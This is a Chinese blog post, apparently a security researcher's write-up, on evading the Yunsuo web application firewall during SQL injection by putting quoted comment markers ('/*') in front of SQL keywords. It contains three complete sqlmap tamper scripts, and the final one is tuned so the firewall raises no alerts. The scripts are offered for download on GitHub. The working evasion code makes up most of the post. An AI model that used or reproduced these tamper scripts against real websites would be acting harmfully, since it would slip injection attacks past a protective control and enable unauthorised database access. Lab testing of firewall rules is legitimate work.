0x00:简介

之前有说过由于云锁更新了401规则,也就是五位数字的正则规则后,只要启用防御,内联将会失效,即便如此,依然可以绕过。

0x01:环境搭建

直接下载最新版的云锁。截至今天20200819

由于最新版云锁变为了cs架构,需要安装客户端和服务端才能启用规则

所以在靶机安装服务器端,在本机安装控制端

使用单机管理登陆即可

可见 缺省状态下,云锁开启的是监控模式

尝试注入order by 一下

可见是没有被拦截的

这里开启云锁的防护模式,需要安装apacheweb防护插件,直接火力全开

再次尝试

已经被拦截

0x02:继续绕过

内联是肯定不行的了 那我们怎么绕过呢

虽然401规则会对所有的五位数字进行拦截,但是它依旧没有将内联符加入黑名单

也就是说 /**/我们依然可以使用

在mysql中,单引号包裹的值被作为字符型处理,比如'1' 和 1 虽然本质上都是1 但是前者是字符型的,当然该语法同样适用于其他符号

比如:

这样虽然将注释符包裹了起来,但是它依旧没有破坏语法。依旧是可以执行的,但是注释符其实并没有发挥作用,它被当作垃圾填充被mysql无视了,所以我们可以构造此类语句对云锁进行绕过。

尝试构造类似语句进行注入

成功绕过了云锁,当然 这里的后半部分注释不要也是可以的 因为已经被注释掉了。

0x03:tamper改造

我们可以将之前的tamper改造让它可以适用于新版本的云锁

之前的代码如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""


import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('ORDER','/*!11444order*/')
        payload=payload.replace('UNION ALL SELECT','/*!11444union*/ /*!11444all*/ /*!11444select')
        payload=payload.replace("SELECT","/*!11444select")
        payload=payload.replace("--"," */--")
        return payload

我们只需在语句的开始加入'/*'即可。

修改后的代码如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""


import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace("and","'/*' and")
        payload=payload.replace("ORDER","'/*' order")
        payload=payload.replace("UNION","'/*' union")
        return payload

当然告警还是会告警的 因为payload太多了

可以做到不告警吗 当然也可以 我们将sqlmap所有的语句第一个字符加'/*'处理即可

最终脚本如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""


import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

        payload=payload.replace("and","'/*' and")
        payload=payload.replace("ORDER","'/*' order")
        payload=payload.replace("UNION","'/*' union")
        payload=payload.replace("WHERE (","'/*' WHERE")
        payload=payload.replace("||","||'/*'")
        payload=payload.replace("OR (","'/*' OR (")
        payload=payload.replace("RLIKE","'/*' RLIKE")
        payload=payload.replace("&","'/*' '&'")
        payload=payload.replace("+","'/*' +")
        payload=payload.replace("`","'/*' `")
        payload=payload.replace("AND","'/*' AND",1)
        payload=payload.replace("(SELECT (CASE WHEN","'/*' (SELECT (CASE WHEN")
        payload=payload.replace("OPERATION","'/*' 1")
        payload=payload.replace("OR JSON","'/*' OR JSON")
        payload=payload.replace("OR EXP","'/*' OR EXP")
        payload=payload.replace(";","'/*' ;")
        return payload

再试一下 可见变为了一条告警 这是由于sqlmap会探测注入点是否存在xss导致的 当然不用这句话完全可以在sqlmap将它剔除,所以这条也是可以完全消灭的。

当然不光光单引号可以 双引号同样可以

绕过官网使用双引号即可 这里单引号反而不行 可能触发了其他规则

0x04:代码地址

https://github.com/pureqh/bypasswaf

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注